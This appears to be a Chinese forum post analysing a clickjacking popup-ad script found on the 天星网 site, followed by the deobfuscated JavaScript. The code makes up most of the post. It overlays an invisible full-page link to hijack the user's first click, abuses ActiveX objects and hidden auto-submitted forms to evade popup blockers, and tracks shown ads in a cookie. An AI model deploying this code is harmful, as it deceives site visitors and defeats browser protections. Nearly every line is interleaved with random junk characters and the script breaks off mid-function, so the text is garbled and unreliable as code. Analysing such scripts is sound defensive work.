天星网ClickJacking点击劫持分析
* x9 d8 a2 J) Y9 w J7 T/ @http://www.21tx.com/ 天星网
0 X) Y+ _4 T) p! u我得联系联系作者 7 e+ f- w3 P; u2 {8 U7 j$ H- y' K
刚好打开这个站,发现第一次点击会弹窗,然后就不会,清除下COOKIE,又继续了,然后查看源代码,也没什么奇葩的。" t: d( L2 g6 f
http://www.lxting.com/script/popup/v1_min.js
# f7 l, \! z: `1 Y: g4 k6 K* G+ t- s- V: h
这个是锁定到底JS脚本,
! P" X8 V' `- E+ O解密后的代码- (function() { $ o. X7 J% [* o& ^ c% @' i
- var aa_url = window.ytpp_url; & b5 z. \! A c- l5 d8 k) n b
- var ua = navigator.userAgent;
2 V$ H& G; m# @# r0 k2 K. U/ e u - var form_div = document.createElement('div');
) B6 i6 C! h8 o& G9 D7 q' y - var form_pd = 0;
F x; i3 z3 w! h) y - var browser = {
3 B# R5 X* |$ N, X - ie: /msie/i.test(ua), ) c1 O3 s% r6 X0 c/ Z/ l: `
- ie6: /msie 6/i.test(ua),
4 d9 T/ W9 v1 R1 D5 J! ? - ie7: /msie 7/i.test(ua),
2 Y% r: |6 y3 F4 u0 q2 H% y0 P' t |/ t - ie8: /msie 8/i.test(ua), , }! h5 j& \+ X+ U4 Q. }1 U
- ie9: /msie 9/i.test(ua), # b: Q7 a+ `4 Z% T
- 360 : /360se/i.test(ua),
6 b- y( V1 u; U( y8 \# }1 S - sogou: /;?se.+?MetaSr/i.test(ua),
% G- C4 b* }& b! {8 a/ l - maxthon: /Maxthon/i.test(ua),
6 f3 F$ [4 e% f* J1 J - tt: /TencentTraveler/i.test(ua),
' j* X/ D7 Z1 i: m - ff: /firefox/i.test(ua),
3 B/ n' M5 v0 c1 Z2 A$ m7 p0 B* N - webkit: /AppleWebKit/i.test(ua),
+ H6 z$ I( X# S1 f5 ~1 s0 p - opera: /Opera/i.test(ua), ) S' q, p- z, H
- qqbrowser: /QQBrowser/i.test(ua), ) h3 v& L- W/ d
- cr: /chrome/i.test(ua), 2 a# Z- Z8 l5 E" R' R" k! i S6 f
- gg: window.chrome, 8 X1 {6 ?; H+ b+ n3 F$ n" _$ ?1 V
- theworld: /Theworld/i.test(ua) ; `5 C3 L/ I- H" } ~
- };
' x0 s$ C! c8 j# N7 x! x - var _setting = "";
9 I) x* T1 J) F. [ - var _ct = 0; ) _ c4 m- a3 Q! H. `
- var _le = 0; 8 T3 Z1 D+ i2 B1 ~. }
- var _pd = 1;
* d0 S' K. B6 f( q- ?9 @6 x - var _pd2 = 0;
8 H- ~: R' M9 K7 N/ z - var _pc = 1; 2 X( I( v4 w: U# `8 G6 u) m
- var _pc2 = 1; - @1 n$ v0 X$ G+ Q
- var _pco = 0;
6 v: a6 b, z+ {. l - var _pta = 0;
2 ~5 p" v) W4 {/ y' z' R" v4 B - var _ptb = 0; 6 v; i2 Z* |3 V. @/ m: t
- var _pt2a = 0; 6 D" M1 v- M2 U+ ]% a: e
- var _pt2b = 0; " i2 J m+ ?* V" S) A
- var _pt3a = 0; 7 S' k) T% Y# A5 }: j) E; f6 |
- var _pt3b = 0;
+ l2 l% I8 W# } - var _pt4a = 0;
# F1 ~: r. q. ^# Z) t t b$ g - var _pt4b = 0; 5 C# K ~" ]2 m7 ]' D0 J
- var _pt5a = 0;
* i9 {7 i9 [: l1 M N - var _pt5b = 0; 5 V; C* x% \3 b1 J
- var _pt6a = 0; : F+ F5 T7 R. b0 G
- var _pt6b = 0; `% ]& `. G4 q5 V! c, a' {
- var _pt7a = 0;
- F* J" x+ d8 a4 \9 R: _: M - var _pt7b = 0;
6 p! e% H8 h1 ^+ L# c R) y - var _pt8a = 0;
8 r' R1 C+ q# M5 i2 d4 y* t - var _pt8b = 0;
' t# [ x" l! E6 M1 A - var _pt9a = 0; " s& c3 g6 e3 ^
- var _pt9b = 0; ! g9 M* m( A" ?2 }1 n0 G9 R0 A
- var _pt10a = 0;
! O$ s% E4 h5 M. M - var _pt10b = 0;
0 X O' }+ S$ n) }" C4 ^; w - var _po = 0;
1 M' Z. H& r4 \# D; B% T% ~ - var _poo = 0; 9 E% D# k' V5 A8 \7 E8 g# O
- var ckn, ckt;
6 z# Y/ H, {7 m: x; c - var ads = 0; # I+ W* M% n, O- v; J F; ~, U, [: X
- function b(w) { ' F+ }$ Z& J3 U: B- G5 i
- var s = w + "=";
2 w4 A V$ k" `$ X) k - var r = ""; 8 f) w8 N5 @, m# S. a- j! r
- var o = 0;
. z* Y* ` p$ b - var d = 0;
; r& |8 p7 F* n) O2 ]2 j2 W - var p = document.cookie; , J2 K4 A# q2 o$ B: }' }
- if (document.cookie.length > 0) { 5 O, ?. o( w. C+ d x6 Y
- o = document.cookie.indexOf(s); 7 t- M: @1 X8 D8 G
- if (o != -1) { 4 T+ ~- S( U* n9 g% f$ V
- o += s.length; p9 g7 |" G5 Q$ o: W7 R
- d = document.cookie.indexOf(";", o); " O/ h( ^4 K$ E8 B; d6 w) G6 l
- if (d == -1) d = document.cookie.length;
/ [& _+ H/ u5 y) y3 ^2 } - r = unescape(document.cookie.substring(o, d)) 4 S/ m7 t( u/ o: v/ y2 e) o
- } ! F8 a: S" ?3 S" k6 e6 N8 |- ~
- } $ b' _( z$ f. J0 @. l* @6 E
- return r 7 f& W, r; n8 h$ K" ]7 E3 Y S
- };
7 Z; s) H( B8 p9 N o! Z - function p(w, p, v) {
4 I1 M/ l! Z5 I6 \# S - var t = 30;
- l) D7 Q6 u0 _' N- C - try {
; I: R. k6 q+ [4 X$ P - t = parseFloat(p) * 1 # T3 T _- i, s* R9 e# {9 T" \
- } catch(e) {
( c& Z+ l. D' N6 | X+ Z - t = 30 , g$ _1 V# _: g! J$ y/ d
- } # O' q# d- q0 f. ~( k" Y0 G
- if (isNaN(t)) t = 30; * X o% {; T; @9 ]3 A' h8 G
- var then = new Date(); . i0 Y5 @; k$ h$ _: u5 u% O
- then.setTime(then.getTime() + t * 60 * 1000);
* k) f/ H U' a0 G3 u - document.cookie = w + '=' + v + ';expires=' + then.toGMTString() + ';path=/;': {6 e( G8 ^( l, n
- }; 7 c f k% R# l& S
- function init() { ' @$ i9 z2 P% V5 u; ^8 T
- _setting = ytpp_sti;
" }. L5 |2 b; W8 {0 s9 | \$ | - if (getp(_setting, "CT")) {
" U7 M2 @, k* {5 I& `" B5 o- s - _ct = getp(_setting, "CT")
o* w$ n( ?6 T! D+ [ - } - t9 H+ }$ z! K6 R8 l4 l; b) P
- if (getp(_setting, "LE")) {
# C5 y9 X9 T6 n: `! Q0 C - _le = getp(_setting, "LE")
" d) q; O& Z( t - }
& \8 u& B. E. Q) t. j. { - if (getp(_setting, "PD2")) {
! ~ Q6 O5 |4 D d( ~& f, q' a - _pd2 = getp(_setting, "PD2") " I# z: B8 Q' z+ Z. v' f* c0 f
- }
3 `: V+ a5 N [* Y9 g W - if (getp(_setting, "PC2")) {
, l3 j; i6 M U( l - _pc2 = getp(_setting, "PC2") ! }( }* _' l; L; D9 }
- } 4 D" @9 i) _) I" n0 y9 C2 T2 c
- if (getp(_setting, "PCO")) {
3 {+ K# @$ N6 x L4 S" u3 E2 d( C - _pco = getp(_setting, "PCO") ( b; _8 u. G1 k9 B
- } , u$ s$ j4 M1 P3 y9 h) V) j$ t- u
- for (var i = 1; i <= 10; i++) { K& \- X [, x5 T
- var n = i == 1 ? "": i; 9 t( m& r4 T& L& Y! B( |0 n" V. V
- if (getp(_setting, "PT" + n)) {
. Z1 J4 f; j9 T" }% L5 n) A3 z1 m - eval("var _pt" + n + " = getp(_setting, 'PT" + n + "').split(',');"); % p5 }; o- N0 B0 q# B5 h
- eval("_pt" + n + "a = _pt" + n + "[0];");
5 N* v2 p7 c# @- J) M8 j - eval("_pt" + n + "b = _pt" + n + "[1];")
4 I' o, w4 F1 r* J# q3 k1 i - }
" Z. ^/ d8 C$ a: C - }
3 g1 ~6 H" C+ R - if (getp(_setting, "PO")) { % x# E# [. R: b% _# @( E# i
- _po = getp(_setting, "PO") ( E0 I) Q; s6 e% v3 D
- } 6 ^$ C* x- w9 S( h6 p$ b/ |
- if (getp(_setting, "POO")) {
; |( N" y7 `+ t. Q6 z- C - _poo = getp(_setting, "POO")
, y4 b8 R2 w* p! B9 C - }
) r. p% i1 q$ V4 G* e - if (_pco == 1 || _poo == 1) { * U& w7 f; @6 ?5 a2 v$ R3 r
- if (_poo == 1) {
3 u: a& L' E& f( w# h, ] - _pco = 0 $ y2 \8 r+ N( ]+ w$ G: O8 V
- } else { . t: @0 Q, {2 L
- _poo = 0
/ [8 T( l* l% R$ `) g9 Q' R% u - }
$ L, b, \* Z# C - _pd = _pd2 = _pc = _pc2 = _po = _pta = _ptb = 0;
5 r8 `' c1 Z/ g; F. Y - for (var i = 2; i <= 10; i++) { 2 ]4 z. ^' ~" b% d
- eval("_pt" + i + "a = _pt" + i + "b = 0;")
- E' L( U( X4 s: e3 L7 w - }
& H" s$ I$ G) @, k - } - F6 K) D; l- G# }* P7 y- }
- };
1 K- ~: V# }5 m/ P - function getp(s, p) { & W4 j3 Y+ t# i& f5 }2 ^
- var i = s.indexOf(p + ":");
) J$ o6 H7 F$ y! I" P1 F - if (i >= 0) { . V, k" b' X7 f W: J. d ] S
- return s.substr(i + p.length + 1, s.substr(i).indexOf(";") - p.length - 1)
: J, @* E4 p! A - }
: M( [0 u8 ]# u% B1 I2 Q" L/ g$ S - };
0 m. [6 H; ?2 I4 }6 t! W9 h - function event(e, event, func, act) {
7 T# o/ h! W* A* g+ p$ R - if (browser.ie) e[act === undefined ? 'attachEvent': 'detachEvent']('on' + event, func); : v( U5 O9 m/ T, W
- else e[act === undefined ? 'addEventListener': 'removeEventListener'](event, func, false) ! x& |6 I$ i, r' D
- } 1 b E- L0 a! v. |; {
- function pop(url, param) { , {3 l* l' U4 K% y0 p$ V
- if (!document.body) {
% P( e6 ~3 s! S6 z - return setTimeout(function() { : Q- F5 `( T9 x+ ~+ U. B, i# k
- pop(url, param) ( O5 c! X/ \( c4 \" K& j: P& k
- }, : y* x: x/ r2 ?
- 13)
) H/ [5 I+ C, X( p/ t* r e - } # p- ^' L+ x/ M5 g7 y
- try {
8 I: k k/ z! A, K - if (browser['cr'] && browser['gg']) { 3 w4 ]2 ^6 v4 y" f0 o/ n3 Z
- try { . C. L+ L% {) j: {' y m
- hrefopen(url)
# E) ]7 e& n; P: ^% }6 D. i - } catch(e) {
9 z1 P. F9 ^1 C3 h2 m - a_pop(url)
7 `& J+ ]3 M4 ~* P# j9 d - } ) z U1 S; e4 J/ f$ U
- } else if (browser['webkit'] && browser['maxthon']) { 8 Y( S2 D% p! [4 r9 K- m
- if (!func(url)) { ~* d. x/ O, z" O' z
- try {
]$ ~/ [' O( G, C+ j - form_pop(url); ! m5 I/ s f5 o" q( Q, z
- a_pop(url) 8 x4 X8 @ n- |) c3 n( u
- } catch(e) {} . L0 s$ _$ L- D6 z
- }
) S2 k% D: q& Z: @& z% x- z - } else if (browser['tt']) { " A/ F: i( ?7 H6 s& w
- try {
s; A; b3 m2 w, i7 c - object_pop(url)
. s0 v: Y; [, ^ - } catch(e) { 9 Z' e2 G" x, A8 h9 n' u
- a_pop(url) 0 R# ^# p& T- o! F, d
- } 1 F9 `2 R+ u$ r" Q! U
- } else if (browser['sogou']) { ) E9 M1 e- R$ u, t0 v5 M
- if (!func(url)) {
# ^; L1 L- Z" L3 X - try { H5 [ o* g6 T+ ~
- a_pop(url) 7 Z7 x( O6 [1 }7 e% Y3 s( h
- } catch(e) {}
" T! D- d# O: F3 ~6 `+ i4 a - }
* K- g2 }0 D4 t - } else if (browser['webkit'] && browser['qqbrowser']) {
( S3 H5 `3 Z$ \5 H1 Z' H" \: p - if (!func(url)) { % c0 `) A3 q- g+ O ]! `/ v% L3 |
- try { , X7 _8 ?. ~) a0 }, A
- form_pop(url)
: [! X/ \; x; ` - } catch(e) {
$ w6 c$ Z7 }: m* f - click_pop(url)
, p: s2 M! N3 Q& R4 B3 i. Z; a$ {% L! m - } . n1 X. M( A+ k
- }
: T: m- w e4 ~' c - } else if (browser['webkit'] || browser['opera']) { 4 F9 Y* a6 G% n7 }% a5 f3 y
- try { ( w" W9 E# m \
- form_pop(url); ( F9 [) h: O! \1 j+ b* D9 v
- a_pop(url)
~9 w* M' \' O$ X* t. T - } catch(e) {} 4 ~1 J+ ~+ b3 q: b# ^' p. I! H$ Y
- } else if (browser['theworld'] && browser.ie6) { n% W2 m* `! C
- if (!object_pop2(url)) { + a* n; u/ V8 j" X
- a_pop(url)
' }" U$ W7 C- |8 n" R# d1 P - } % ]' o3 q3 d" m3 K3 D8 b8 T; l
- } else if (browser['theworld'] && browser.ie8) {
) T# z4 G% K" e) |/ V4 Z, \% E- v - if (!func(url)) {
5 N/ R1 \/ Y8 f* d) p" @ - try {
5 q8 m# P" n) ~ @& O4 R - object_pop(url)
: A) N7 O5 r% L9 } - } catch(e) { $ n0 t. t+ m) e) {! v% c" X" I
- click_pop(url) ! ?$ ?) Y. j. U! Q; o
- }
* l' w/ [4 m2 a: O" ^8 r - } 6 V. o" a0 l2 o5 g8 g5 f6 }
- } else if (browser.ie6) { * P& H, V9 W/ A2 Q6 F
- if (!func(url)) { + V R- \& h% v% a5 J, K
- object_pop2(url) ) F8 M6 I, y' M7 _2 C0 y: ^, F, f
- } 9 j' p% J4 J) t& w, ^% Q# R
- } else if (browser.ie8) {
. Q, U% M/ y( C# g& t! Y' r7 [ - if (!func(url)) {
2 D8 x5 `% f) i8 j4 o' h - try {
% N5 N3 [# f: n7 [6 f5 v2 F. V - object_pop(url) " d/ k7 R. M4 n$ O( s
- } catch(e) {
5 A: n. z, ~! { - document.onclick = function() { ' |% s H; f' r, Q3 ?
- func(url); / H2 ]7 M1 `; x' i
- document.onclick = null
. C5 A8 J. ]) N - } ; V3 G4 y' \- K/ z
- }
0 b& w3 j, C }! W( }% b% @% F - } & V+ j* n: c4 i# F3 R' t
- } else if (browser['ie']) { / F/ B8 s" [/ i. @
- try { 2 A; f0 v9 T, G
- object_pop(url) - B2 A. G6 D8 X+ C
- } catch(e) {
3 @. z' d/ Y# F7 {' J' ]9 y. e4 u - click_pop(url) & O& |# N3 B1 R8 ^
- } 0 I+ q7 s% |: Q
- } else if (browser['ff']) { ) y) c1 z" _4 }- g, g) S
- if (!func(url)) { ) J1 X4 W' p+ V6 S4 ^9 P& L
- click_pop(url) 8 e$ x$ U ?6 s( v9 z
- } 5 o' X6 T0 q, [; q i
- } else {
+ Q" @. J. |- ]9 I) N* ~ - if (!func(url)) {
' T* M) V* ?. w# J8 Y" Y7 P* D - click_pop(url)
. }" H( u+ Y$ y! u) z, d8 C - }
( Z6 F7 E8 ?$ `, Q3 c - } $ ?' r& ?. y5 u/ [% [+ e; W
- } catch(e) {
- s/ m, ]2 r) U' k& f - if (browser.ie7 || browser.ie8 || browser.ie9 || browser['qqbrowser']) {
* {+ w3 ~( Y( J$ U - click_pop(url)
' h/ S% o* \3 m8 q6 I- ~ - } else {
5 a- K( J, S! M6 s - a_pop(url) % q( U; U8 ~8 V1 Y6 ]. }
- } ' u# Z( n" c' @* p/ H6 Q0 q! a
- }
* J# a" O" v% U( f2 C. ~$ W" S, j" m - }
8 S( P# v3 o( F+ k - function object_pop(url, param) { $ R4 p+ e; J0 A9 ]6 E% V
- var object = document.createElement('object'); - r0 C" C% z- p/ e1 Y
- object.setAttribute('classid', 'CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6'); ) z1 _# F: U. H8 F8 K" d
- object.style.cssText = 'position:absolute;left:1px;top:1px;width:1px;height:1px;';
, A& g1 D0 L0 a8 A) d - append(object); / R( g) F# f5 w ], n
- object.launchURL(url);
! n8 l, S* r" x# J! n. ^6 @ - ads++; + d$ ?* l+ P& g) ~; j7 k5 k
- p(ckn, ckt, ads)
- a/ v, s0 U- \: W* ~1 Q: _& k - } 3 \' I+ N7 C4 m' H5 U, g
- function object_pop2(url, param) {
+ c% ]/ {3 L: j5 z8 S$ V) n - var object2 = document.createElement('object'); : D Z7 { N6 b7 j+ {
- object2.setAttribute('classid', 'clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A'); ; A+ g9 s' ^' R8 n& R
- object2.style.cssText = 'position:absolute;left:1px;top:1px;width:1px;height:1px;';
6 R! ]; W4 D" H6 y- b - append(object2);
& v% }; ~$ w" r8 T5 u: J0 P$ @ - for (var i in object2) {
9 a9 g+ q1 H# m; }7 B/ X: @ - try { (function(o) {})(object2[i])
6 L5 G/ e+ T* E7 j: T - } catch(e) {}
( P8 \2 _! h c. b/ Y/ q6 l - } 9 F$ ?3 j$ |8 J, R
- setTimeout(function() { ! y2 S2 m! `: g' P: _. W" q
- object2.DOM.Script.open(url, '_blank', '') 8 f1 \6 K; p7 ` U
- },
. I4 f; m9 d" p- U6 Q4 N! W, b# r - 500); 9 t6 b. V1 ^) J7 Z
- ads++;
0 f, H/ G+ ~& m, L% N0 x7 v4 A - p(ckn, ckt, ads)
! y% {/ |/ |( z - } * S( w3 g3 ^% s% K" j& s0 \
- function append(e) {
* ? @' W5 H$ b1 k6 Z - for (var t in {
: L& L# h8 v0 ?8 | - body: 1
1 u2 e+ j' I1 A- v2 P) J: k+ s - }) {
. h7 a% f& y3 M3 L) {% b5 l - var ele = document.getElementsByTagName(t); 8 ~# N5 J; G: q* ?
- for (var i = 0; i < ele.length; i++) { ' Z/ N) V0 X7 I5 J- |( a% H
- ele[i].insertBefore(e, ele[i].firstChild); ; R6 j% C( u' D( s
- return1 F, s; Q7 Q! c9 r5 V( Q" X$ d
- } 6 m. a/ X) s' S$ y$ {# R2 Z
- } ( s/ }+ \: Z5 k- \
- }
f" t$ @* g0 C/ ` - function hrefopen(url) {
( J1 D$ ~3 Y+ r V& a - try { + O# V* y% e7 \3 @- D5 u9 j
- var c = document.createElement("a");
! g% o6 Z9 M$ T) k0 [# _$ ?3 S - c.setAttribute("href", url); * Y& f- M/ K' a8 Y! h3 c4 t' w( Q
- c.setAttribute("target", "_blank"); 1 ^8 n5 P, {( ^/ W/ m# t+ \' ]/ N
- c.setAttribute("style", "display:none;");
9 c# l, o6 _# e, C - var b = document.createEvent("MouseEvents"); . t8 f W! j* y- [8 S, o! f
- b.initMouseEvent("click", false, false, window, 0, 0, 0, 0, 0, true, false, false, false, 0, null); ) m: P6 C0 Y! I$ |3 p2 Y% p
- c.dispatchEvent(b);
0 X0 O9 W1 N; \4 C - ads++;
* H/ w# P" t7 [7 E2 P - p(ckn, ckt, ads);
9 s- s: [) z" y3 L - return true
- m* `. g( f3 b- W' O( d - } catch(q) { / C3 J9 T8 i6 J6 K4 k, g9 x$ D5 v
- return false
% O- B' i) y: f9 v- d - }
7 n) U( B8 V8 q& W6 q2 {7 P - } 3 l1 P% d \" q0 X1 \/ c& G, m
- function form_pop(url) { 3 ?' {; ?- C! |8 w p6 t
- form_div.setAttribute('id', '__unionsky_push_d_object_box__'); 3 K, D( c5 Y y, O! s! {! k Z7 G
- form_div.setAttribute('style', 'display:none'); 2 _$ J; E7 F! C2 g: r
- var form = document.createElement('form'); 6 Z8 \: y1 X/ l- `1 T( l/ Q& b5 O6 V
- form.setAttribute('action', aa_url); 1 g# |/ E* e9 n2 T
- form.setAttribute('method', 'post'); : l C+ M- r; Y9 p6 R8 k$ T
- form.setAttribute('name', '__unionsky_push_d_form_box__');
. r* o9 t0 C& S, o - form.setAttribute('target', '_blank'); 3 B* m/ {4 S% z" y$ ]
- form.setAttribute('style', 'display:none'); ; Y7 U! F! O% @
- var sinput = document.createElement('input'); 3 F. d' o! _8 U; T( n& Z
- sinput.setAttribute('style', 'display:none');
' C8 t; \* m ^! I3 A - sinput.setAttribute('type', 'submit'); ) w! D7 L/ n/ H4 c2 D
- sinput.setAttribute('id', '_sumit_2app'); O, U! R' V* l: }8 a
- form.appendChild(sinput); / k; R: t5 O$ R
- form_div.appendChild(form); ; D) E {, Q/ y$ C- o+ j8 L0 w% E
- append(form_div);
, l: T, T `$ a# i$ m - var unionsky_from = document.forms["__unionsky_push_d_form_box__"];
2 q* v% H4 f" A' X - try {
2 ^* z' G% n8 u9 ^' b - document.getElementById("_sumit_2app").click()
6 R! O+ J6 ~/ T. a4 p4 { - } catch(e) {
5 n/ s, @4 N- U3 o2 F3 A$ Y - event(document, 'keyup', / g, R: J5 {8 N; U1 i/ b5 z
- function(e) { 5 k3 P1 B+ }& v8 \
- if (document.getElementById('__unionsky_push_d_object_box__') == null) {
3 u' `9 L; B A9 ^: E8 l - return
1 ~7 L- ]! f: Y( _ - }; & W" X( D J3 P. w" _) ?" ^
- e = e || window.event; : f) u E" w0 ` I: I6 i
- e.canceBubble = true;
/ E6 ?% F' b5 ^- q6 W5 z! g0 s7 L - event(document, 'keyup', arguments.callee, true);
; q# m. I1 V( T' e - form_pd = 1; 1 J$ `$ T1 O C: m' ~- ]
- unionsky_from.submit()
. @6 ~' g! S3 o - }) " S% R! H8 I7 i& s7 G# `
- } # B( h5 B9 p5 Y. C R; r X5 D
- };
# N3 W6 E- u2 S& S: \ - function click_pop(url, param) {
3 s) A+ K8 i1 `$ ~ E( Q - event(document, 'mouseup', D1 ^1 \0 W8 I+ X3 z
- function(e) { 6 u2 q4 R$ @+ X) ]( w: `6 |: B
- e = e || window.event;
3 @; f/ T* m; C: N+ [, i7 j& ~: W - e.canceBubble = true; 1 |9 L4 h4 z/ p3 y: Q$ D @
- event(document, 'mouseup', arguments.callee, true);
! B" s" w4 x0 O8 I, {0 V: v - func(url, param);
7 i1 }% ]% w R* a& {) o - ads++;
# w, k4 a& g+ {3 d j8 S9 o - p(ckn, ckt, ads) 8 T" B1 b6 S ^4 r$ h' m
- }) 0 B. M+ P. X, H+ K
- };
% H3 R& M7 P9 u1 N { - function a_pop(url) {
5 O/ p4 M% O" U- K7 g - if (ytpp_plid == 166028) {
) @) C/ @- d9 z, b( o# n - return. C3 r, Y( k" ?) l0 [3 Q2 a
- }
4 r i8 j# s c) t8 t$ L2 d - if (!document.body) {
- j, F0 K C3 q0 }9 U - return setTimeout(function() { ( [$ f) a* [: x+ `8 V1 M1 W6 I6 \
- a_pop(url) 4 C M7 x% u. n. W) O
- }, 5 V, w T4 ^5 G) U- @3 y, b! n
- 13)
8 g3 g, {' c+ t - } a' C5 o# D# q9 j
- var a = document.createElement("a"); ! A5 {$ W) g- C' I1 G4 n
- a.href = url; 9 ]2 W: H6 j! v- }& ^
- a.target = "_blank";
- ~% G/ G" |: b+ u - var div = document.createElement('div'); $ z! ~: i* J& j3 a* D: n F0 w+ U
- div.style.backgroundColor = '#fff'; ; ` ?; M) v; H5 j" G$ l* k4 i6 j
- a.appendChild(div); % f! |- E0 q" V: I
- append(a);
8 |& g, z6 f& S5 Y - var as = a.style; 7 ~) i, I; K9 b
- as.position = "absolute";
9 @, s1 ^4 z$ k' k# p: V9 ?" N - as.zIndex = '2147483647';
2 ?, u! w/ L0 ?& l) a7 S$ ^ - as.display = "block"; " p4 d/ w& x. R9 A! P
- as.top = "0px"; ) E0 m2 Y) V/ c
- as.left = "0px"; , N0 t6 ^1 V4 b/ X+ x; U. O
- as.cursor = 'default';
! o( b) A4 c0 n - as.opacity = "0";
" v) K' O0 \- h3 o1 ~1 A - as.filter = "alpha(opacity:0)"; ; K2 P- `+ |" ~) L9 }" L
- var m = setInterval(function() { # W& U2 M" r. i
- if (form_pd == 1) {
; e( x# G) U: o# u/ c - a.parentNode.removeChild(a);
! i+ K: s' |* z: N1 e( \4 ?. h - clearInterval(m);
& Z0 v# D8 w' C, m - return# e$ h1 n. I6 d( ?9 A# x* g8 a. Y
- } * J8 t7 j" \+ U$ c7 r. ~) k0 v6 s
- a.style.zIndex = '2147483647'; $ E$ ?& y9 P6 \5 ?1 K& Y0 N3 U* {
- var d = (document.compatMode.toLowerCase() == 'css1compat') ? document.documentElement: document.body;
8 h+ b7 D! |( u5 n2 G6 |2 n - a.style.top = Math.max(document.documentElement.scrollTop, document.body.scrollTop) + 'px'; 6 i# B9 g. S4 v
- div.style.width = Math.min(d.clientWidth, d.scrollWidth) + 'px';
3 K( k' e6 u- s& N - div.style.height = d.clientHeight + 'px';
6 _6 d' }+ Y7 X# v3 U' U5 p# K - if (browser['ie']) {
0 S# ` P" K$ a, R' [ - try {
! R; |* c% \: a - var divs = document.body.childNodes;
5 l$ |9 ~' e4 L3 q- }# X$ s - for (var i = 0; i < divs.length; i++) {
2 ?* o* q- G- A4 Q1 z' ^ - if (!divs[i]['style']) { ; o! u) n4 C$ p$ c8 d' Q$ b
- continue
8 o2 u" @ u9 _ J0 p0 j - } + w: z2 B! k! f" f8 v
- var _i = parseInt(divs[i].style.zIndex); ! }) {( A- w7 `4 P5 o: s1 Z6 M \
- if (_i && divs[i] != a && _i == 2147483647) {
/ u4 n$ r w3 u0 X% f6 X - divs[i].style.zIndex = _i - 1 5 ]3 V. g) Y- R* s3 x" A! k0 t
- } " t4 P/ A5 d$ c4 N$ [% s
- } " S6 Z% R* A, E- F4 K
- a.style.zIndex = '2147483647'
" }1 h8 f) V) F. \ - } catch(e) {} & @# `, s7 _' d* N9 \; A$ w7 F
- }
4 b* u0 j" ~6 ]/ I' N& r) m1 c - }, , f" ^2 G: V+ [5 w5 U3 R k
- 120); $ Q; G) L3 Q+ w; `6 H3 h9 d' i
- a.onclick = function(e) { 8 {4 @) t, a" x; G# B; @) T% j
- if (document.getElementById('__unionsky_push_d_object_box__') != null) {
7 S; `( |* v6 |/ N - form_div.parentNode.removeChild(form_div) ) H6 t5 e! |- ~. X4 G
- }
+ H' M7 {" r" I2 l. s - e = e || window.event;
/ l4 g' x/ j2 U# u& P2 B6 N - e.cancelBubble = true; % J2 ^+ t# {9 c3 }
- setTimeout(function() { : @$ v$ B) |( f: W; F
- a.parentNode.removeChild(a)
: @" E+ l8 ]4 ~1 N+ h- ]$ E - },
9 N9 X& F5 ?! ~4 q. K7 U - 200);
4 _* m5 c( Q( H$ n - clearInterval(m);
( c, c5 d! d- P. R( b& c) f# ~" Z1 P - ads++; , s7 F! r% H" K7 z7 r, Y' \
- p(ckn, ckt, ads) 8 L! a. |/ D9 j' D' B
- }; / e4 Z: u3 i- m4 U3 G
- event(a, 'mouseup', 0 a. Z0 M7 H( s+ v7 `" J4 `
- function(e) { % U6 M; \: j: f4 l$ F( |# u- e6 V! i# j
- e = e || window.event;
3 N# ]8 {$ g# D - e.cancelBubble = true7 J; R9 v! v' ]1 }. x) q3 m! b, y
- })
9 s$ a8 X+ b: n# J - }
, ]7 v. j6 o' K. y - function func(url, param) {
. V/ ~1 L! e+ ^9 h. S4 f. k: h1 R% U - var f = window[String.fromCharCode(111, 112, 101, 110)]; * t% y- z1 D; K" M, k8 m
- var w = f(url, '_blank', 'left=0,top=0,toolbar=yes,location=yes,status=yes,menubar=yes,scrollbars=yes,resizable=yes,width=' + screen.width + ',height=' + screen.height); ) U" _8 ?1 I+ k0 Y; t2 e* }) C6 a
- if (w) { ; S& V6 y( E. p
- ads++;
( c, ]3 u( E& V U - p(ckn, ckt, ads) 3 G9 Y7 X6 [: S/ E+ ^$ u q
- }; $ C0 Y" ?) _3 g" R8 E' v3 p
- return w
4 g2 P9 e5 H4 T0 k" D - } 4 t/ ~9 _4 B( J0 b$ `, A
- function fstart(url) { 0 u4 m( Z( _* E' c2 `& n+ r" h
- init(); $ t/ w2 O- t' L- r) j( P0 A7 A
- if (_ct >= 0) { $ V, m; s6 c- T# V. A& H/ [
- ckn = "YITIAN_NUM";
. n; ` a$ n; | q - ckt = _ct
6 T# ^) V9 W8 E9 p+ n. } - } else { 4 v3 `$ B3 T1 }) s* m# T" D% D" E
- ckn = "YITIAN_ALL";
8 M, A1 m( T1 R0 K: E$ c, v! s - ckt = Math.abs(_ct)
" C. M5 _$ r9 r( c- b9 F - } 1 e8 f/ R! Q2 S0 f- \: Q
- if (ckt > 0) { 7 i( Q7 \ u5 Z: v! u0 J
- if (b(ckn)) { 2 N! u' o4 y) }( ?8 G' e' j* _
- try { , Q: g" S- [) P0 o2 U' W
- ads = parseFloat(b(ckn))
/ J6 b9 q! L* C5 I1 W - } catch(q) {} $ }) ~0 E5 }9 k& O9 C
- }
4 u+ ~$ d% c6 l# n( L - } ( `0 q3 C) R! {
- if ((ads > 0 && ckn == 'YITIAN_ALL') || ads >= ytpp_ads) {
4 x, S6 s. N" X" g - return) h$ b+ K% e: w" O& c7 a
- } else { ' i0 {4 [% P7 G
- if (_le > 0) { * w! E. ^. x! R1 e
- setTimeout(go(url), _le * 1000) : _ S' G, T' ]" e
- } else {
( \" w+ l0 Q8 C$ v1 x - go(url)
: K, T1 r8 w! u0 O( {5 Y - }
; F4 N3 J! G3 V. ?/ C - }
9 |) A: V$ W/ l t - } j5 l; V! [- d2 _/ \7 Y8 A) w0 Q
- function go(url) {
7 A X4 ~# ~% W2 } - if (_poo == 1) { / q% g! g, l& P& @5 I5 v
- try { % X+ }) u) b, s8 z$ M% ?- {
- func(url)
7 [9 Y9 t7 k1 I0 ~. R. E - } catch(q) {} 2 o0 ] z' s4 e1 C) l0 o
- } else if (_pco == 1) {
& D4 K8 \) O. v8 W! j - a_pop(url) , D+ A% d! _# S
- } else { ( g" F/ y' X8 ?- M! Q4 H) u8 J
- if (_pd == 1) { * w, k0 }6 Q# }% [! c9 c
- setTimeout(function() { % W$ I f3 \6 U% G" c R6 I
- pop(url, { : O( R( U ?8 K7 U. V: o" Q
- a: 1, 3 G! S8 Z! k8 ^* @( C
- b: 2 b. C$ C; d3 s6 }* z5 V
- })
9 B* u* v5 U/ N( E; I1 N- T' C - }, & r6 ?6 U |, `1 ]& u( y
- 300)
0 i8 z- j$ v% I5 t - } 8 h6 @3 ]2 N# Y# K% V
